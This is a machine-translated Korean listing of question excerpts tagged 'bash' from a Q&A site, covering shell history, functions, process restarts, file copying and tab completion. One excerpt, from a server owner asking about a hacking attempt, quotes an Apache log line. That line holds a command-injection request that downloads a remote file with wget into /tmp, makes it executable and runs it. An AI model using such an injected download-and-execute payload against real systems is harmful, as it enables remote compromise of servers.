«bash» 태그된 질문

Bash는 GNU 프로젝트의 유닉스 계열 운영 체제를위한 무료 쉘입니다.

6
Mac에서 터미널 세션간에 Bash 기록이 유지되지 않음
내 배쉬 역사는 신비스럽게 작동을 멈추었고 어떻게 고칠 지 모른다. 이것은 내 .bashrc의 모습입니다. HISTSIZE=500 HISTFILESIZE=500 HISTFILE=$HOME/.bash_history 그러나 내가 실행 echo $HISTFILE하면 인쇄됩니다 /Users/myusername/.bash_sessions/EE8689E5-7DAD-4018-817E-0AF1DE36082A.historynew. .bash_history 파일의 소유자이므로이 문제를 어떻게 해결할지 잘 모르겠습니다. 감사!
33 macos  bash  unix  terminal  history 


3
bash 함수를 설정 해제하거나 제거하려면 어떻게합니까?
bash에서 환경 변수를 설정하거나 내 보내면 설정을 해제 할 수 있습니다 . 당신이 bash는 별칭을 설정하면, 당신은 할 수 unalias가 그것. 그러나이있을 것 같지 않습니다 unfunction . 예를 들어, .bash_aliases 파일 에서 설정 하고 쉘 초기화시 읽는 이 (사소한) bash 함수를 고려하십시오 . function foo () { echo "bar" ; …



5
이미 실행중인 기존 명령이 완료된 후 명령을 실행하는 방법은 무엇입니까?
오랜 시간이 걸리는 스크립트를 시작하면 스크립트를 시작한 후에 필연적으로이를 인식하고 스크립트가 완료되면 일종의 경고를 수행 할 수있는 방법이 있었으면합니다. 예를 들어 내가 실행하면 : really_long_script.sh Enter 키를 누릅니다 ... 완료되면 다른 명령을 어떻게 실행할 수 있습니까?
32 linux  bash  terminal 

7
리눅스 백그라운드 프로세스가 실패하면 자동으로 다시 시작하는 방법은 무엇입니까?
백그라운드에서 init.d 스크립트로 실행되는 프로세스가 있습니다. 예 : case "$1" in start) /bin/myprocess & stop) killall myprocess restart) killall myprocess /bin/myprocess & esac 특정 조건에서는 myprocess가 실패하고 돌아올 수 있습니다. 실패를 감지하고 자동으로 다시 시작하는 방법이 있습니까?
32 linux  bash  process  daemon 

8
Linux에서 파일 복사, 파일이 대상에 존재하면 복사하지 마십시오
이 질문은 수퍼 유저에게 답변 될 수 있기 때문에 스택 오버플 로 에서 마이그레이션 되었습니다. 9 년 전에 이주했습니다 . 한 하드 디스크에서 다른 하드 디스크로 / home / user 폴더를 복사해야합니다. 파일은 100,000 개이고 크기는 약 10G입니다. 나는 사용한다 cp -r /origin /destination 때로는 깨진 링크, 권한 등으로 인해 …
32 linux  bash 

1
bash를 더 친숙하게 만드는 방법이 있습니까?
내 Mac과 cygwin 쉘 모두에서 bash를 사용합니다. 전반적으로, 나는 그것을 매우 기쁘게 생각합니다. 그러나 한 가지 불만은 TAB 완료가 Windows Command Line TAB 완료만큼 좋지 않다는 것입니다. 예를 들어 동일한 접두사를 가진 두 개의 파일이 있으면 Tab 키를 누르면 Tab complete를 시도 할 때 경고음이 울립니다. 탭을 계속 고정하면 결국 …


2
이 bash 스크립트는 무엇을합니까? [해킹 시도]
최근에 서버 아파치 로그에서 다음과 같은 이상한 줄을 발견했습니다. 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" 그래서 나는 커스텀 Fail2Ban 필터를 만들고 /login.cgi URL을 요청하는 IP를 금지하기 시작했습니다. 그러나 그들이 무엇을하려고하는지 궁금해했기 때문에 그들이 실행하려고하는 스크립트를 뽑았으며 정확히 무엇을하는지 알 수없는 것 같습니다. / var …




8
bash : 특수 문자가 포함 된 명령 줄 인수를 전달하는 방법
필자는 program입력으로 정규 표현식이 필요한 Linux 프로그램 을 작성했습니다 . bash쉘 에서 프로그램을 호출하고 해당 정규 표현식을 명령 행 인수로 프로그램에 전달하려고합니다 (다른 명령 행 인수도 있음). 일반적인 정규식은 다음과 같습니다. [abc]\_[x|y] 불행하게도 문자 [, ]그리고 |특수 문자입니다 bash. 따라서 전화 program [abc]\_[x|y] anotheragument 작동하지 않습니다. 일종의 이스케이프 문자 또는 …

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.